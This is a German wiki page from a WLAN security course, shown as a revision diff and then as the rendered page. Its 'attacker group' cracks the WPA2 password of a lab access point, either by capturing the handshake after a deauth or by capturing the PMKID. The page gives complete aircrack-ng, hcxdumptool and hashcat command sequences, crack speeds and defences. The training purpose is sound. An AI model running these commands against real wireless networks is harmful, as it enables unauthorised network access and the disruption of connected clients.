Wlan PMKID-Angriff: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung= == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst Crunch will now generate the follow…“) |
|||
| Zeile 1: | Zeile 1: | ||
| − | =PMKID- | + | =Szenario= |
| + | ;Diese Seite ist für die '''Angreifer-Gruppe'''. Ziel ist der Access Point <code>dd-xinux</code>, den die AP-Gruppe stellt (siehe [[accesspoint-hostapd|Access Point aufsetzen]]). | ||
| + | ;Es gibt zwei Wege zum Passwort: | ||
| + | *'''Weg 1 – Handshake:''' funktioniert immer, braucht aber einen verbundenen Client und einen Deauth. | ||
| + | *'''Weg 2 – PMKID:''' clientless, kein Deauth. Schneller, weil nur der 1. EAPOL-Frame nötig ist. | ||
| + | ;Beide enden gleich: eine Datei im hashcat-Format, die per Wortliste geknackt wird. | ||
| − | = | + | =Passwortliste generieren= |
| − | + | ;Das AP-Passwort ist 8-stellig numerisch (<code>00001234</code>) — genau dafür bauen wir die Liste. | |
*crunch 8 8 0123456789 -o password.lst | *crunch 8 8 0123456789 -o password.lst | ||
Crunch will now generate the following amount of data: 900000000 bytes | Crunch will now generate the following amount of data: 900000000 bytes | ||
| Zeile 15: | Zeile 20: | ||
<pre> | <pre> | ||
PHY Interface Driver Chipset | PHY Interface Driver Chipset | ||
| − | phy0 wlan0 | + | phy0 wlan0 rtl8192cu Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS] |
</pre> | </pre> | ||
| + | ;Wenn störende Prozesse angezeigt werden, diese "killen": | ||
| + | *airmon-ng check kill | ||
| − | =Interface | + | =Interface in Monitor-Modus= |
| − | * | + | *airmon-ng start wlan0 |
| − | + | ;Hinweis: Je nach Version heißt das Interface danach <code>wlan0mon</code>. In den folgenden Befehlen dann diesen Namen verwenden. | |
| − | + | ;Für Weg 2 (PMKID) ist das nicht zwingend — <code>hcxdumptool</code> schaltet die Karte selbst in den Monitor-Modus. | |
| − | = | + | =WLANs anzeigen= |
| − | * | + | *airodump-ng wlan0 |
| − | ; | + | ;Wir suchen die '''BSSID''' und den '''Channel''' von <code>dd-xinux</code>. |
| + | [[Datei:wlan0-1.png]] | ||
| + | ;Für Weg 1 suchen wir zusätzlich eine '''Station''', die mit <code>dd-xinux</code> verbunden ist. | ||
| + | [[Datei:wlan0-2.png]] | ||
| − | = | + | =Weg 1: Handshake (funktioniert immer)= |
| − | * | + | ==Handshake mitschneiden== |
| + | *source data | ||
| + | *airodump-ng --bssid <BSSIDAP> -c <CHANNEL> -w wlan wlan0 | ||
| + | [[Datei:wlan0-3.png]] | ||
| + | ==Deauth senden (zweites Fenster)== | ||
| + | ;Wir werfen die Station kurz raus, damit sie sich neu verbindet — beim Wiederverbinden fällt der Handshake an. | ||
| + | *source data | ||
| + | *aireplay-ng -0 50 -a <BSSIDAP> -c <BSSIDSTATION> wlan0 | ||
| + | 18:40:39 Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel 6 | ||
| + | ..... | ||
| + | 18:57:44 Sending 64 directed DeAuth (code 7). STMAC: [44:74:6C:54:xx:E8] [ 0| 9 ACKs] | ||
| + | ;bis der Client rausfliegt und sich neu verbindet. | ||
| + | ==Handshake erhalten== | ||
| + | ;Oben rechts im airodump-Fenster erscheint "WPA handshake: <BSSIDAP>". | ||
| + | [[Datei:wlan0-4.png]] | ||
| + | ;Der Handshake steckt im '''2. EAPOL-Frame''' (Client → AP) — dort sitzt die MIC, unser Vergleichswert. | ||
| − | =PMKID | + | =Weg 2: PMKID (clientless)= |
| − | *hashcat - | + | ;Kein verbundener Client, kein Deauth. Wir fragen den PMKID direkt beim AP ab. |
| + | ==PMKID abgreifen== | ||
| + | *hcxdumptool -i wlan0 -w dump.pcapng | ||
| + | ;Läuft ein paar Sekunden. Die Flags von hcxdumptool ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen. | ||
| + | ;Der PMKID steckt im '''1. EAPOL-Frame''' (AP → Client). hostapd sendet ihn bei WPA2-PSK automatisch. | ||
| + | ==In hashcat-Format wandeln== | ||
| + | *hcxpcapngtool -o pmkid.hc22000 dump.pcapng | ||
| + | ;Erscheint eine Zeile "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. Wenn nicht, war nichts drin → Weg 1 nutzen. | ||
| − | = | + | =Cracken= |
| − | * | + | ==Weg 1 – klassisch mit aircrack-ng== |
| − | * | + | *aircrack-ng -w password.lst -b <BSSIDAP> wlan-01.cap |
| − | * | + | [[Datei:wlan0-5.png]] |
| + | ==Beide Wege – modern mit hashcat (Mode 22000)== | ||
| + | ;Handshake ins 22000-Format wandeln: | ||
| + | *hcxpcapngtool -o hs.hc22000 wlan-01.cap | ||
| + | ;Cracken (Handshake oder PMKID, gleiches Format): | ||
| + | *hashcat -m 22000 hs.hc22000 password.lst | ||
| + | *hashcat -m 22000 pmkid.hc22000 password.lst | ||
| + | ;Ergebnis ansehen: | ||
| + | *hashcat -m 22000 pmkid.hc22000 --show | ||
| − | = | + | =Crack-Geschwindigkeiten= |
| − | + | *Laptop schafft circa 1000 Keys pro Sekunde | |
| − | + | *Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s | |
| − | + | *Online-Rechenpower mieten | |
| − | + | *Cluster aus mehreren Grafikkarten bauen | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | * | ||
| − | * | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | * | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | * | ||
| − | = | + | =Warum ist das knackbar?= |
| − | = | + | ;Das AP-Passwort <code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar. |
| − | + | ;8 Zeichen '''gemischt''' (Buchstaben + Ziffern + Sonderzeichen) wären 62^8 ≈ 2,2×10^14 — selbst mit der Titan Jahre. Ein starkes, zufälliges Passwort macht '''beide''' Wege praktisch chancenlos. | |
| − | |||
| − | |||
| − | = | + | =Verteidigung= |
| − | * | + | *Langes, zufälliges PSK — schlägt Handshake- und PMKID-Angriff gleichermaßen. |
| − | * | + | *'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr. |
| − | * | + | *'''802.11w''' (Management Frame Protection) macht den Deauth aus Weg 1 wirkungslos. |
| − | |||
| − | = | + | =Video= |
| − | * | + | *https://www.youtube.com/watch?v=vnLfCtpANvI |
| − | |||
=Links= | =Links= | ||
| − | * | + | *https://github.com/ZerBea/hcxdumptool |
| − | * | + | *https://www.kali.org/tools/hcxtools/ |
| − | * | + | *https://hashcat.net/forum/thread-7717.html |
Version vom 14. August 2026, 12:57 Uhr
Szenario
- Diese Seite ist für die Angreifer-Gruppe. Ziel ist der Access Point
dd-xinux, den die AP-Gruppe stellt (siehe Access Point aufsetzen). - Es gibt zwei Wege zum Passwort
- Weg 1 – Handshake: funktioniert immer, braucht aber einen verbundenen Client und einen Deauth.
- Weg 2 – PMKID: clientless, kein Deauth. Schneller, weil nur der 1. EAPOL-Frame nötig ist.
- Beide enden gleich
- eine Datei im hashcat-Format, die per Wortliste geknackt wird.
Passwortliste generieren
- Das AP-Passwort ist 8-stellig numerisch (
00001234) — genau dafür bauen wir die Liste.
- crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes ... dies dauert eine Weile
Störende Dienste stoppen
- systemctl stop avahi-daemon
- systemctl stop NetworkManager
Interface suchen
- airmon-ng
PHY Interface Driver Chipset phy0 wlan0 rtl8192cu Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS]
- Wenn störende Prozesse angezeigt werden, diese "killen"
- airmon-ng check kill
Interface in Monitor-Modus
- airmon-ng start wlan0
- Hinweis
- Je nach Version heißt das Interface danach
wlan0mon. In den folgenden Befehlen dann diesen Namen verwenden. - Für Weg 2 (PMKID) ist das nicht zwingend —
hcxdumptoolschaltet die Karte selbst in den Monitor-Modus.
WLANs anzeigen
- airodump-ng wlan0
- Wir suchen die BSSID und den Channel von
dd-xinux.
- Für Weg 1 suchen wir zusätzlich eine Station, die mit
dd-xinuxverbunden ist.
Weg 1: Handshake (funktioniert immer)
Handshake mitschneiden
- source data
- airodump-ng --bssid <BSSIDAP> -c <CHANNEL> -w wlan wlan0
Deauth senden (zweites Fenster)
- Wir werfen die Station kurz raus, damit sie sich neu verbindet — beim Wiederverbinden fällt der Handshake an.
- source data
- aireplay-ng -0 50 -a <BSSIDAP> -c <BSSIDSTATION> wlan0
18:40:39 Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel 6 ..... 18:57:44 Sending 64 directed DeAuth (code 7). STMAC: [44:74:6C:54:xx:E8] [ 0| 9 ACKs]
- bis der Client rausfliegt und sich neu verbindet.
Handshake erhalten
- Oben rechts im airodump-Fenster erscheint "WPA handshake
- <BSSIDAP>".
- Der Handshake steckt im 2. EAPOL-Frame (Client → AP) — dort sitzt die MIC, unser Vergleichswert.
Weg 2: PMKID (clientless)
- Kein verbundener Client, kein Deauth. Wir fragen den PMKID direkt beim AP ab.
PMKID abgreifen
- hcxdumptool -i wlan0 -w dump.pcapng
- Läuft ein paar Sekunden. Die Flags von hcxdumptool ändern sich zwischen den Versionen — vorher einmal
hcxdumptool -hprüfen. - Der PMKID steckt im 1. EAPOL-Frame (AP → Client). hostapd sendet ihn bei WPA2-PSK automatisch.
In hashcat-Format wandeln
- hcxpcapngtool -o pmkid.hc22000 dump.pcapng
- Erscheint eine Zeile "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. Wenn nicht, war nichts drin → Weg 1 nutzen.
Cracken
Weg 1 – klassisch mit aircrack-ng
- aircrack-ng -w password.lst -b <BSSIDAP> wlan-01.cap
Beide Wege – modern mit hashcat (Mode 22000)
- Handshake ins 22000-Format wandeln
- hcxpcapngtool -o hs.hc22000 wlan-01.cap
- Cracken (Handshake oder PMKID, gleiches Format)
- hashcat -m 22000 hs.hc22000 password.lst
- hashcat -m 22000 pmkid.hc22000 password.lst
- Ergebnis ansehen
- hashcat -m 22000 pmkid.hc22000 --show
Crack-Geschwindigkeiten
- Laptop schafft circa 1000 Keys pro Sekunde
- Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
- Online-Rechenpower mieten
- Cluster aus mehreren Grafikkarten bauen
Warum ist das knackbar?
- Das AP-Passwort
00001234ist 8-stellig numerisch - 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
- 8 Zeichen gemischt (Buchstaben + Ziffern + Sonderzeichen) wären 62^8 ≈ 2,2×10^14 — selbst mit der Titan Jahre. Ein starkes, zufälliges Passwort macht beide Wege praktisch chancenlos.
Verteidigung
- Langes, zufälliges PSK — schlägt Handshake- und PMKID-Angriff gleichermaßen.
- WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
- 802.11w (Management Frame Protection) macht den Deauth aus Weg 1 wirkungslos.


